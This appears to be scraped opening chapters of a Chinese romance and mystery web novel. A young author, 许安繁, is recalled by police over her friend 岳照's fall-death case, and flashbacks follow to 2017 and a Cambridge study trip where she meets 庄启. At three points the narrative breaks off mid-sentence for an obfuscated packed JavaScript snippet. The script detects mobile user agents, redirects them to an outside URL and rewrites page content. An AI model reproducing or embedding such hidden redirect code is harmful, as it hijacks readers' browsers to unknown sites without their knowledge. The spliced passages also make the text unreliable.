《在这样的夏天》 1. 无夏 「一八一六年,受印尼火山爆发影响,北半球失去夏天,有城市在八月落雪,这一年被称为“无夏之年”。那样寒冷的盛夏也曾降落在我身上,困住年少,困住心事,连带着某一部分的我,也被永远冰冻在了低温之中。」 ——许安繁《无夏之年》 这是许安繁在北市度过的第六个夏天。 日色弥漫、燥热横生,在这样的夏天,人的思绪也被高温蒸腾到恍惚,觉得发生的一切都像是梦。 坐在出版公司的会议室里,许安繁趴在桌上打了个哈欠。 坐在她旁边的经纪人宋问凝注意到了:“昨晚熬夜了?不是跟你说早点睡。” 许安繁摇摇头,闭着眼睛道:“没熬夜,就是失眠,躺了好久没睡着。” 宋问凝想当然地问:“是第一次跟这么大的出版商合作,太激动?” 许安繁没反驳,但其实不是因为这个。 她昨晚深夜还在修稿,这部最新完成的长篇《无夏之年》改编自她的亲身经历,每次打开文档,那些由文字描摹出的往事都仿佛能顺着指尖涌回身体,在她的意识间明明灭灭,一闭眼,就好像回到了五年前那个让她刻苦铭心的夏天。 宋问凝不清楚许安繁这些心理活动,她只是打量了一下女孩子那张白皙清纯的脸,然后说:“没事,没有黑眼圈。” 忽然门外响起杂沓的脚步声,几个人走进了许安繁和宋问凝所在的这间会议室。 其中一个助理模样的男生看了眼手表:“夏老师和凝姐久等了,我们付总刚才有个电话会议,比预计结束的时间晚了一会儿。” “我们也刚到。”许安繁一边说,一边站起来打招呼,眼神清亮、笑意盈盈,方才的困倦早已被她隐藏得不见踪影。 之前宋问凝跟这家出版公司谈好合作以后,带许安繁和他们吃过一次饭,许安繁记性好,已经能够准确地认出每一个人:“付总,姜编,小郑哥。” 付总同她寒暄:“安繁,你签约仪式之后没别的安排吧,我刚才开会的时候还想呢,别耽误大作家的行程。” 许安繁笑意不减,谦虚道:“我算什么大作家呀,哪有那么忙。” 负责她新书的责编姜帆搭话问:“安繁平时有空一般都做什么?” “夏天我一般每周游泳,今天晚上就要去。”许安繁说。 姜帆来了精神:“是吗,我也喜欢游泳,之前我还拿过业余比赛的冠军。这样,下次我们一起。” 许安繁看出对方不是客气,那种试图靠近的热情让她微微停顿了一下,然后才用很雀跃的语气说:“好啊。” 没人注意到她眼中一闪而逝的不安和逃避。 许安繁发现自己甚至已经想好了如果下一次姜帆真的约她,她要怎么拒绝。 明明从前她不是这样的。 付总将聊天拉回正题:“行,那咱们坐下吧,现在开始安繁的新书签约仪式。” 郑助理把怀里抱着的两份合同分别递给付总和许安繁,许安繁那份被宋问凝先拿起来,从头到尾迅速核对了一遍。 虽然签约仪式的规模不大,但出版公司的态度还算重视,付总甚至准备了一篇发言稿。 他先细数了自家出版品牌的光辉历史,又开始讲述许安繁的成名过程:“安繁呢,大家都知道,虽然这么年轻,但已经是知名作家了,拿了那么多奖,还在图书市场寒冬的情况下,创造了不可思议的销量神话,所以我们有信心把她的这本《无夏之年》做好……” 都是许安繁已经在很多地方听过无数遍的套话,她听着听着就有些走神,室外阳光炽烈,会议间的百叶窗没有拉严,细长的光影透过缝隙落在她手上,带来微温的触感,同空调的冷形成了鲜明对比。 “嗡——” 一阵震动声毫无预兆地响起。 下一秒,许安繁的胳膊就被宋问凝不着痕迹地撞了下。 她回过神,发现是自己的手机正在桌面上震动,屏幕上显示了一个北市本地的座机号码。 正在发言的付总停下来。 “不好意思。”许安繁轻声说着把电话按掉。 付总微笑摇头,清了清嗓子,正要继续开口,许安繁的手机就固执地再次震动起来。 仍旧是先前那个号码。 许安繁突然觉得这一连串数字的排列组合有点熟悉。 她又说了一遍不好意思,这次却不顾宋问凝的眼色,把电话接了起来:“您好。” “许安繁吗,我是北市公安局的沈执,你朋友岳照的坠楼案现在有新线索了,麻烦你尽快来市局一趟接受询问。” 电话那端的嗓音冷峻,似是从回忆深处传来,许安繁花了几秒钟来反应,而后才确认正在同她讲话的是沈执,五年前那位负责侦办岳照案的沈警官。 她近乎失态地追问了一遍:“……沈警官你说什么,岳照的案子有新线索了?” 沈执的语气依旧严肃:“嗯,出现了新的证人,所以我向局里申请重启调查。” “好,我马上过去。”许安繁说。 她站起来得太过急切,椅子被双腿向后推过去,划过地面发出刺耳的声响。 许安繁抓起放在身后的包就要走,宋问凝一把拉住她,顾忌着还有付总他们在场,说话的态度没有太强硬:“你去哪儿?有什么事不能等签约仪式结束之后再说?” 许安繁把胳膊抽了出来,没有心思跟经纪人闲扯:“我之后跟你说。” 她向会议桌对面的人道了句抱歉,行色匆匆地离开了,关门之际还听到身后宋问凝赔笑的声音:“真对不起啊付总,安繁有急事,她这孩子就是偶尔任性,回头我一定叫她给你们道歉……” 走出大厦前许安繁就在手机上叫了车,出门之后路边恰好经过一台出租,她干脆利落地伸手拦下,先坐进去跟司机师傅说了声市局,又在手机上把先前订的车取消了。 出租车里有股憋闷的气味,司机为了省钱没开冷气,许安繁的后背不一会儿就出了层细汗,衣服逐渐泛潮,像被晒蔫的树叶一样耷拉在身上。 二十分钟后,车子在市局门口停下,许安繁扫了挂在副驾驶后面的二维码,付过钱之后推门下车,鞋底接触地面的那一刻,她不禁惘然。 五年了,她五年都没再来过这里。 许安繁在门卫和市局一楼登记完成后,负责接待的引导员用座机给沈执拨了个电话,带许安繁去二楼的询问室。 走上厚重的两折楼梯,询问室坐落在走廊尽头。 许安繁跟工作人员进去,屋里空调温度打得很低,冰凉的空气扑面而来。 沈执已经等在一张桌子后面,面前放了台连着打印机的电脑,听到声响之后抬起头说,来了。 许安繁点点头:“沈警官。” “坐。”沈执说。 许安繁便在他对面落座,五年过去,他的脸上多了几条皱纹,头发也白了几根,眼神却还锐利。 沈执将巴掌大小的执法记录仪对准她,细小的红灯闪烁几下,开始录音录像。 引导员关上询问室的门,室内有一瞬间无比寂静。 “岳照的案子你应该还记得,我就直接问了,”沈执一贯开门见山,“第一个问题,当年她被霸凌的事情,你知道吗?” 许安繁记得同样的问题,五年前沈执也问过自己。 但她的确不了解,岳照从未告诉过她。 这件事再想起来还是让许安繁觉得黯然:“不知道,她没跟我讲过。” 沈执记录下她说的话,又道:“下一个问题,当时她有没有走得近的男性。” 说到这里,他像是想起了什么,添了一句:“除了你那个高材生男朋友。” 许安繁放在腿上的手指蜷了蜷。 她忽略掉心底的难言情绪,没有纠正沈执自己当初和庄启并非是恋人的关系,只是继续回答道:“这个我也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071826|163239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太清楚,当时我们只有周末见面,她不怎么跟我提这些。” 沈执不置可否地“唔”了声。 接下来他又问了她一些别的问题,持续了半个钟头,大部分还是在确认当年发生过的事实,最后沈执把她的口述记录打印出来,让她看过没问题之后签字按手印。 许安繁没签,手里攥着笔,急迫道:“沈警官,能不能告诉我有什么新线索,我可以帮忙留意。” 沈执原本在看电脑上的电子档记录,闻言若有所思地瞥了她一眼。 也许是看许安繁神色执着,他到底还是开了口:“岳照高三换的那个同桌,你记得吗。” “她高三的同桌……”许安繁陷入回忆,“我没什么印象了,好像是一个成绩挺好的女生,是吗。” 沈执没说是也没说不是,不准备再多讲,只是朝她送了送下巴:“签字吧,后面还有人来。” 跟岳照案有关联的人太多,不知道来的是哪一位,许安繁没做他想,快速签好字,在微湿的印泥上按了一下手指,将红色的指纹覆盖在名字上。 沈执收回打印纸,告诉她可以走了。 从询问室出来,许安繁走了几步,在走廊的窗台旁边停下,想要给宋问凝打个电话。 宋问凝在她通话记录里最靠上的位置,许安繁拨过去的同时,楼梯间的门“吱呀”一声被推开了。 她下意识抬眸往那处望,先进来的是刚才带她去询问室的引导员,对方仰起脸向身后的人说,就在这层。 等待电话连通的时间里,许安繁分神想,工作人员已经不矮,后头跟着的那人大概个子很高。 大约半秒钟后,她就看到了他的脸。 许安繁耳边轰然一响。 像被重物砸中,她僵在原地。 偏偏电话在此刻接通,宋问凝劈头盖脸地问:“许安繁你到底在什么地方?你最好马上给我一个解释,你知不知道我今天费了多少口舌……许安繁?许安繁你在听吗?” 经纪人尖利的嗓音明明近在咫尺,许安繁却听不清了。 她眼中只剩下一步步朝她走来的那个人。 高鼻梁、薄嘴唇,一张游戏人间的脸。 玻璃窗外日光照进来,在他脸上形成疏落的阴影。 往昔重重岁月如大雾浮现,他的名字很清晰地越过无数记忆找到了她,时隔多年,在她胸口引发了沉闷的回声。 庄启。 许安繁看到他侧过脸对引导员说谢谢,高挑漂亮的女生有几分不好意思地摇头,而后飞快地偷瞟了他一眼。 而她一动不动地定在原地,眼睁睁地看着庄启经过自己。 他甚至没有看向她,好像她跟周围静默的墙、紧闭的门,以及角落里的垃圾桶是同类物体,没必要多加留意。 “……许安繁你说话!哑巴了?”电话那端的宋问凝没有得到回应,又一次透过手机声孔发泄自己的怒气。 高分贝的责问终于让许安繁回过神,她按掉了宋问凝的电话,三步并作两步追上庄启。 她后知后觉地意识到他也是被沈执叫来接受询问的,或许关于岳照案子的新线索,他知道得比她多。 许安繁有许多问题想问他,却不知如何开口。 毕竟他们应该已经不是那种可以随意闲聊的熟人关系。 迟疑一下,她打了个连自己也觉得生硬的招呼:“……庄启,又见面了。” 庄启眸光寒淡,并未停步,似是对许安繁主动喊住他的行为感到不解,他看她一眼,没什么情绪地重复了一遍:“又见面了?” 嗓音偏冷,如同薄霜在空气里缓慢蒸发,不复当年恣意与温柔。 许安繁还没来得及作出反应,庄启就用十分平静的语气说了第二句话:“不是说不想再看见我么。” 不是质问,只是陈述。 许安繁哑口无言。 因为五年前的确是她,对庄启这样说过。 2. 无夏 二零一七年夏。 “照照,我到门口啦。”许安繁站在北市七中门口,一手打着伞,另一手飞快地发消息给岳照。 没有立即收到回复,许安繁便走到一块有树荫的地方站着,一边等,一边百无聊赖地打量着来往行人。 现在是八月下旬,七中作为私立的寄宿高中,假期也为学生提供住宿,此外还有新生开始往校园里搬运行李。 天气很热,许安繁等了一会儿,便开始琢磨自己能不能混进校园,找个有空调或者风扇的地方等,顺便早点跟岳照汇合。 这样想着,她便悄悄跟上一对来送孩子的家长,想装作是他们中的一员,没想到刚走进校门,传达室窗口就传来中气十足的一声:“姑娘你等等,来干什么的?” 许安繁停下来,看到门卫大爷正目光炯炯地盯着自己。 被发现了。 她没有慌张,神色自若地收了伞,走过去站在校门投下的阴影里,对大爷和和气气地说:“伯伯,我来找我朋友的,她还没回我消息,我想进去等。” “你朋友?”大爷重复了一遍,“你朋友在几班?” 许安繁说:“七班,她这学期开学上高二,叫岳照。” 大爷接着盘问:“那你是几中的。” 许安繁笑了:“伯伯,我看着还像高中生呀?我已经高中毕业了,是S大今年的新生。” 女孩子长得乖,笑起来时眼睛就像两弯柔和的月牙,大爷不自觉放缓了语气:“你跟你朋友差两届?” 许安繁说“算是”,又说:“其实我们一样大,但她高一的时候生病休学了两年,当时她爸妈把她从我们家那边接到北市来治疗,后来就转学了。” 从岳照到北市,她们就没再见过,只能通过社交软件联络,岳照有时候也会给她寄信或者明信片,直到今年她考上位于北市的S大,两个人才有了重逢机会。 今天是她跟岳照分别后第一次见面。 听许安繁把来龙去脉讲完,大爷“噢”了声:“还挺不容易的。” 他想了想,转身去桌上拿了本登记册过来,翻开递给许安繁,又找了根笔,在纸面上敲了敲:“这儿签个字,后面写上你找谁,然后进去等吧。” 许安繁开心地说“谢谢伯伯”,三笔两笔填好登记的条目,重新打起伞进了学校。 七中的校园非常大,许安繁知道岳照住哪一幢宿舍,便朝那个方向走过去。 学校里种了一排石榴树,已经过了开花的季节,树叶泛着沉静的绿,在夏日的微风里轻轻晃动。 许安繁来到岳照宿舍楼下,又给对方发了一条消息:“照照,猜猜我在哪。” 然后她拍了一张周围环境的照片发过去。 手机震了震。 岳照:“我才看到,刚刚换衣服来着,马上下来。” 许安繁说好,把手机切换到自拍的界面,端详了一下自己,随手理了理额前的碎发。 她跟岳照是在她高一那年分开的,现在她比当初长高了,五官也更加舒展,不知道岳照身上是不是也发生了一些变化。 许安繁放下手机,心跳得很轻快。 几分钟后,不远处宿舍楼的门被推开,从里面走出来一个女生。 许安繁一开始并没认出那就是岳照。 在她的印象中,对方是偏瘦的体型,个子拔得也早,所以看起来十分苗条。 而那个女生却很丰满,把宽松的衣服撑得没有一丝缝隙,走路的时候腿往外撇,显得有些笨重,发型也不是岳照以前喜欢的马尾辫,而是留起了厚厚的刘海,短发贴在脸上,皮肤表面有淡红的斑点。 直到对方走近,许安繁才从依稀眼熟的眉目间,辨认出那就是她自小认识的好朋友。 “照照?”她试探性地叫了一声。 岳照原本还在迟疑地打量许安繁,闻言也认出了她:“你来了。” 确认对方就是岳照,许安繁兴奋起来,说话也变得叽叽喳喳的:“你们学校好大,刚才门卫不让我进,我跟他聊了好半天他才放行。” 岳照没接话,开口时说的却是毫无关联的话题:“……你现在好漂亮。” 许安繁还有点没反应过来:“有吗,跟以前差不多吧。” 她伸出手,亲昵地挽住岳照的胳膊,却察觉到对方往另一个方向缩了一下。 但很快,岳照又重新贴近了她。 许安繁只当是两人太久没见,对方还有点不适应。 她并不介意,继续同岳照闲聊:“你知道吗,本来我们还有两周才开学,但是我一想到可以见你就提前过来了,你快给我讲讲你最近的事情,之前我们聊天的时间太少了。” “我的事……”岳照迟疑了一下,让许安繁觉得她像是有许多话想讲,却又不知从何说起。 最后岳照告诉她的,是很平常的一件事。 “上学期我参加了作文比赛,得了一等奖,前几天我看到我参赛的文章被贴在宣传栏里了,你想看看吗。”岳照说着,抬手指了指远处的宣传栏。 许安繁极其捧场:“好啊,现在就去看。” 七中的宣传栏很长,最前面是今年的高考成绩,再往后是历届优秀毕业生代表,还有学校开展的各项活动留影。 许安繁边看边找岳照的作文,却突然被毕业生代表那一栏里的一幅照片吸引了注意力。 因为照片中那个男生实在太惹眼。 明明跟其他学生一样穿着普普通通的白T恤,可他偏偏就让人挪不开目光。 男生望向镜头的时候神态极为放松,眼神有几分慵懒,嘴角挑着一点若隐若现的笑意。 他整张脸棱角分明,气质浪荡又张扬,就像一颗燃烧着划过城市上空的流星,没人能忽视。 岳照注意到许安繁视线停留的地方,了然道:“那个学长很帅吧。” 许安繁“嗯”了声,岳照接着说:“他特别厉害,高中的时候申请英国的大学,收到剑桥offer之后顺便参加高考玩,结果一下子拿了理科状元,不过他也没留下,现在本科毕业接着直博了。” 许安繁看到男生照片下面的名字。 庄启。 岳照还没讲完:“我没见过,据说这张照片比不上他真人一半好看……不过听别人说,他女朋友换得很勤。” 许安繁听着岳照跟自己分享八卦,觉得好像时光倒流,她又重新找回了往昔两人之间那种亲密的熟稔。 她跟岳照曾经是邻居,虽然两个人性格不同,她更加乖巧听话,而岳照总是古灵精怪、天马行空,但这段友谊却一直持续到了现在。 从几岁到十几岁,两个人几乎每天都一起上下学,没有什么话是不跟对方说的,这次考试成绩怎么样、今天在食堂有没有见到喜欢的男生,待会儿路过奶茶店要不要买一杯饮料,零碎的对话填满了她们共同度过的时间,无尽的春夏秋冬在她们的关系里融化,一点点加重着这段友谊的分量。 岳照以为许安繁短暂的出神是因为对庄启感兴趣,便绞尽脑汁地回忆一些传闻讲给她:“之前我们学校有个校花学姐,暗恋庄启学长好多年,追着他去了英国,结果庄启学长嫌她粘人,谈了没两天就分了。” 许安繁回过神来,打趣了句:“他毕业好多年了你们还这么关心他的情史,他本人知道吗。” 毕竟是一个这辈子也不会产生交集的人,她没放在心上,拉着岳照往前走,规划这一天的安排: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071827|163239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “待会儿我们出去吃饭吧,然后去逛街,你想不想看电影。” 岳照说都行,而后想到了什么,问道:“你现在住哪里,酒店?” “住我哥那儿,我之前不是告诉你他来北市创业了,就在科学城那边。”许安繁说。 一提起许知钦,她的话就变得更密了:“我哥现在做饭特别好吃,昨天他给我蒸了莲藕肉丸,我跟他说这样以后我可每周都要从学校回来吃了。” 岳照露出半真半假的嫌弃表情:“你怎么还跟以前一样,提起你哥就没完没了的。” 许安繁笑盈盈道:“那怎么了,之后你要是在学校待烦了,周末放假就来我哥家找我,我的朋友他都欢迎的,让他做饭给我们吃。” 岳照无奈地说好,又说,你这么粘你哥,以后你男朋友可有的醋吃了。 直到很久以后,许安繁还是能够清晰地回想起跟岳照见面的这一天,蔚蓝的天,清澈的云,盛夏校园里温热的气味,和岳照被贴在宣传栏里,笔迹清秀的作文。 在油墨印刷的格子纸里,岳照写道,有的记忆太灿烂,就像一盆盛放的花被封存进岁月的暗房,周围越是暗淡,那些鲜活的纹路就越是闪光。 有时候许安繁会想,也许正是因为那一年实在灿烂,其后的日子才会显得那么暗淡,让她觉得好像掉进了无尽的深渊。 - 一年后。 英国,剑桥镇。 纬度比较高的地方通常夏天也不会热,虽然是七月的午后,但许安繁出门前读到天气预报上偏低的气温,还是多添了一件外套。 天气不算晴,云层是发灰的颜色,许安繁在路上不紧不慢地走着,许知钦的语音电话在这时打了过来。 许安繁从衣兜里拿出手机按下接听,听到哥哥温柔的嗓音:“时差倒好了吗,适没适应。” 每次跟许知钦讲话,许安繁的语气都会下意识变得有点依赖:“没有,晚上睡不着,昨天照照陪我聊天了。” 许知钦说“怎么不找哥哥聊”,又说:“今天不用上课,中午不多睡会儿?” “不想睡,我出来玩了,昨天听我们带队老师说这边街上有个钟很漂亮,我出来找找,”许安繁东张西望了一下,“好像就在那边那个路口。” “也拍给我看看。”许知钦说。 顿了顿,他又安慰许安繁道:“实在睡不好也没关系,反正你游学也就一个月,好不容易被学校选上,在剑桥多看看多玩玩,周末还可以约同学去别的地方。” 许安繁乖乖说好,跟许知钦又聊了几句就挂了电话,她越过道路走到街口,找到了玻璃橱窗里的圣体钟。 钟身是金属的质地,顶端托着一只巨大的蚱蜢,表盘上没有指针,而是用蓝色的灯光一格格跳动代表时间更替。 许安繁拿起手机,想要拍张照。 看到屏幕中的画面时她才发现,天上厚重的云不知何时散开了一小片缝隙,漏下了明亮的阳光。 橱窗因此变得有些反光,许安繁调整了一下角度,余光瞥到一个男生原本正要从她前面经过,但因为她拍照的动作停下了脚步。 她按了几下拍照键,之后放下手机想要道谢,却在看清对方的一刹那,轻微地怔了怔。 男生长相极出众,鼻梁很高,轮廓锋利。 是非常有侵略性的那种类型。 他敞怀穿了件黑色冲锋衣,里面是同色的T恤,宽肩窄腰,身形挺拔,闲闲站着的时候,表情很散漫。 明明是陌生人,许安繁却莫名觉得他眼熟。 像在哪里见过,仔细去想,又没有相遇的印象。 或许是因为她愣怔的时间有些长,男生忽地抬眼,漫不经心地瞧了过来。 3. 无夏 两个人视线相接的那一秒,许安繁才如梦初醒般说了句谢谢。 之后她才想到,现在自己是在英国,遇到亚裔长相未必就是同胞,正打算换用英语道谢,男生就说了句“没关系”。 嗓音微懒,像挂在声带上晃荡,泛着淡淡的磁性。 他没再多看许安繁,一只手随意地插在外套口袋里,接着向前走。 不过异国街头的一次偶遇,许安繁亦未继续纠结觉得男生眼熟的想法,低头去看方才拍下来的照片。 斜后方却突然有人开嗓喊道:“小姑娘、小伙子,这个钟是个什么东西你们知道吗?” 是个游客打扮的中年大叔,脖子上挂了个镜头很长的相机,他已经在这里待了有一会儿了。 许安繁想他大概是不太会讲英文,听到了自己跟男生的对话,发现他们都是国人,这才开口问的。 她率先转头,把自己知道的都告诉了对方:“圣体钟,落成的时候是霍金来揭幕的,造价要一百多万英镑。” 是带队老师讲给她们的。 大叔“哦”了声,又指着圣体钟上方的蚱蜢疑惑道:“那这么贵的钟,放个虫子是什么意思。” 许安繁也不清楚,随口说:“……可能这个虫子比较吉利?” 话音刚落,几步远的地方传来“嗤”的一声轻笑。 许安繁循声看过去,猝不及防迎上了刚刚那个男生戏谑的眼眸。 空气是凉的,她的脸颊却有了升温趋势。 男生倒是气定神闲,朝她和游客大叔走回来,偏头往橱窗送了送下巴:“这个蚱蜢有名字,叫时间吞噬者,每分钟都张一回嘴,象征时间被它吞掉了。” 大叔看起来是真的感兴趣,孜孜不倦地追问:“那下面这行字呢?讲的什么?” 他问的是橱窗底部镌刻的一行铭文。 许安繁没想到男生居然真的一个个字母辨认了起来。 长了张对什么都不耐烦的脸,但面对路人的求助其实很耐心。 他低低地把那行字念了出来:“Mundustransitetconcupiscentiaeius.” 是拉丁文,他薄薄的嘴唇轻微张合,发音低沉悦耳。 许安繁在S大读的是文学院,她上学期旁听了高年级的拉丁文作品研读课,这句话里的单词不复杂,她听懂了,下意识地翻译出来:“这世界及其之上的情欲都会消逝。” 男生抬了下眉,看着她像是想说什么,还没来得及出口,就有一个女孩子一阵风似地从旁边跑过来,亲昵地搂住了他的胳膊:“庄启,你不是说今天出去有事吗,怎么还在学校附近?” 女孩子披着长卷发,像是混血,五官精致有如洋娃娃。 在不算暖和的天气里,她穿了件领口很低的连衣裙,浑身曲线毕露。 庄启由她挽着,没推开也没靠近,低头看着她,漫不经心地道:“事儿在晚上。” 女生朝他撒娇:“是出去玩吗,带我一起好不好。” “带你?”庄启没当回事,“我跟哥们儿的局,带你合适么?” 女生听了这话有些不高兴,然而像是怕自己发脾气会让庄启不悦,她硬生生忍了下来,笑容依旧婉转:“那你现在陪我去喝咖啡,我都好几天没见着你了。” 庄启无可无不可地点了下头,她立刻就兴高采烈起来,几乎整个人都挂到了他身上:“我们走吧,我还要吃舒芙蕾。” 两个人经过时,许安繁闻到庄启敞开的外套里,传来一缕似有若无的水生调香气。 不是那种很规矩的味道,带了点浮浪和痞野。 就跟他这个人一样。 转眼间庄启已经跟女孩子走到了道路的另外一边,跟许安繁他们搭讪的游客大叔也去了别处,一阵风过,好似把刚才发生的一切都吹散了。 只剩许安繁和一座安静运转的大钟。 她发现正如庄启说的,蚱蜢的上下颚每分钟都会开合,吞噬流逝的时间。 许安繁将拍下的照片分享给了许知钦和岳照。 岳照刚好看到:“这是什么艺术装置吗?” 许安繁发了简短的语音条解释,又说是自己偶然碰到的一个人讲的。 “他名字还挺好听的,叫庄启,不知道是哪两个字,还看到他女朋友了。”她说。 岳照打字的速度一下子快了起来:“庄启?” 岳照:“我之前和你说过的学长你还记得吗,就是我们学校在剑桥读博的那个。” 岳照:“我发张照片你认认,真可能是他。” 许安繁不一会儿就收到了岳照发来的图片。 是一年前那个夏天,她在北市七中宣传栏里见过的那张。 照片和她才见过不久的那张脸叠合在一起,尽管有些许变化,但确实就是同一个人。 “是他。”许安繁说。 岳照:“也太巧了。” 岳照:“那他女朋友什么样,是不是大美女?” 许安繁给她描述:“特别好看,感觉是混血儿,身材也好。” “那没错了,我听说他就喜欢这挂的,性感大美女。”岳照说。 两个人又聊了几句,许安繁放下手机,沿街晃荡。 阳光下的建筑在地面折出线条规则的影子,行人熙攘,不同人种的面孔像色彩缤纷的树叶翩然飘过,她穿行其中,不知怎么想起了庄启念拉丁文的样子。 Mundustransitetconcupiscentiaeius. 倦怠而散淡的一句话,这世上没有什么不会过去,漫长的时间会被吞噬,纷纷的情欲也将泯灭。 包括他们短暂的相遇。 - 在外面花费掉整个下午,许安繁带着一盒从路边超市买的苹果汁回了在剑桥的临时校舍。 另外三个室友都是她在S大的同学,其中一个叫陈晚的和她同班,平日里就是关系不错的朋友,剩下两个人是这次参加游学项目许安繁才认识的,一个叫孔小琦,一个叫苏虞。 她进门的时候,听到室友们正待在公共休息室商量晚上是在厨房做饭还是出去吃。 许安繁过去加入了讨论:“我出门的时候看到一家店好像还可以,之前你们不是谁说想吃炸鱼薯条吗,那家就有。” 陈晚笑嘻嘻道:“我现在都不敢随便在外面吃了,就这几天吃过的,没一个菜好吃,小英帝国简直是美食荒漠。” 许安繁喝了一口苹果汁,含含糊糊地道:“所以这次要是不好吃也别怪我。” 孔小琦则说:“还是出去试试呗,都坐了十个小时飞机来了,还窝在这做中餐多无聊。” 她说服了大家,几个人简单收拾了一下,就出发去找许安繁说的餐厅。 也许是因为她们期待值放得低,这一家的口味意外地还可以,毕竟炸鱼薯条的做法简单,不容易难吃,菜单上推荐的柠檬挞则是偏清爽的口味,没有其他甜品那么甜腻。 吃过饭后,许安繁跟室友散步回去,现在英国实行夏令时,就算到了晚上八点钟,天也还是亮的,白昼肆无忌惮地横行,让人以为时间的流速都在这座国度减慢。 经过一条只有几步的狭窄马路时,陈晚推了推许安繁:“对了安繁,明天上午有个语言学的讲座你去不去,下午姚老师发在我们群里的,自愿报名,那个访问学者还挺有名的。” 许安繁问:“几点,我怕我起不来。” 陈晚说“九点”,又略带央求道:“安繁你陪我去吧,你英语那么好,我怕我听不懂,需要你给我讲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071828|163239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 许安繁脾气好,陈晚一讲她就同意了:“那我要是没听到闹钟,你就打电话叫我。” 陈晚一口答应:“没问题,明天我请你吃早饭。” 回校舍以后,大家各自去了房间,许安繁打开自己那间的门,拿起桌上看了一半的《看不见的城市》,坐在落地窗格的地毯边,借着窗外的天光往下读。 她一直看到天色擦黑才起身去开灯,发现已经过了十点钟,便换了衣服去盥洗室洗澡。 等她吹干头发在床上躺下,侧身去给放在床头柜上的手机充电时,看见许知钦在两分钟前给她发了条消息:“是不是还没睡,陪你聊会儿?” 校舍的隔音不错,用适中的声量说话并不会影响室友,许安繁直接给许知钦拨了语音。 没几秒就接通了。 许安繁算了下国内的时间:“你怎么六点就起床。” “想着我妹估计要失眠无聊,就定了个闹钟,”许知钦那边有打开水龙头洗漱的声音,“而且最近公司事情多,我早起去处理一下。” 许安繁将手机放到枕边:“我去看那个钟了。” “知道,不是发图给我了么。”许知钦说。 许安繁“嗯”了声:“还碰到一个中国男生给我讲解来着。” 许知钦警觉起来:“什么男生,是不是看你长得乖想要你联系方式?你在那边可别随便认识什么乱七八糟的人啊,出什么事了哥哥没法马上过去。” 许安繁被他紧张的样子逗笑了:“不是,人家有女朋友,也没要我联系方式。” 她听到哥哥在厨房开火的声音:“你做早饭啊。” 许知钦说“煎蛋”,过了会儿,滋滋作响的油烟声里,他忽然开口:“小繁,跟你讲件事。” 许安繁安静地等他往下说。 “昨天许鹏给我打了个电话,说他下个月要来北市出差,想见见你,咱们三个一块儿吃顿饭。”许知钦道。 许久不曾听到那个人的名字,许安繁怔了怔。 都快忘了自己还有个父亲。 随后她问:“你怎么说的。” “我说要看安繁意思。”许知钦道。 许安繁没作声,片刻后她告诉哥哥:“我就不去了吧。” 许知钦声音柔和地说“好”,又说:“我想也是,那我就跟他说你没时间了。” 许安繁打个哈欠,跳过了这个话题:“……我困了,但你别挂好不好。” 在哥哥那里,她偶尔的小任性全都会被满足。 “我等你睡着再挂。”许知钦说。 许安繁把电话另一端的声响当作白噪音,拉高被子闭上眼睛,困意渐渐弥漫上来。 这些天缺觉,她这一觉一直沉沉睡到次日清晨闹钟响。 在不断重复的电子音乐里,许安繁模糊地记起要陪陈晚去听讲座的事情,犹豫了一下是不是要推掉,最后想着毕竟已经答应了对方,还是挣扎着从床上爬了起来。 昨天跟许知钦连语音忘记给手机充电,许安繁出门的时候带上了充电宝,陈晚在社交平台上查到了一家传说非常正宗的英式早餐,距离也不远,只是两个人方向感都不怎么好,对着导航软件也费了一番功夫才找到,回来的时候又不小心绕多了路,最后才终于跋涉到了开讲座学院附近的街区。 许安繁走得有些累,正要问陈晚具体是哪一栋楼,身边就经过了一台星灰色的跑车。 车开得快,但也很稳。 陈晚“靠”了声:“阿斯顿马丁,这是哪家大少爷上课来了。” 几秒钟后,跑车减速,停在路边。 车门向上抬升,露出一个男生慵懒英俊的脸。 许安繁屏住了呼吸。 庄启。 又见到他了。 4. 无夏 陈晚没忍住惊呼了声:“长这么帅?” 此时两个人正朝庄启的方向过去,许安繁忍不住提醒她:“小声点儿。” 陈晚这才意识到自己嗓门太高,她嘿嘿一笑,给自己的嘴做了个上拉链的动作。 不过庄启并未注意到她们,他下车之后,副驾驶那边又下来一个男生,看样子是他哥们儿。 哥们儿绕到驾驶座,庄启随手将车钥匙丢给他:“帮我开回去,谢了。” 对方接了,嬉皮笑脸道:“哎哟,谁有我们庄哥爱学习啊,club通宵一晚上,还能赶回来听别的学院办讲座。” 庄启懒洋洋地说:“怎么,准备给我发个奖状?” 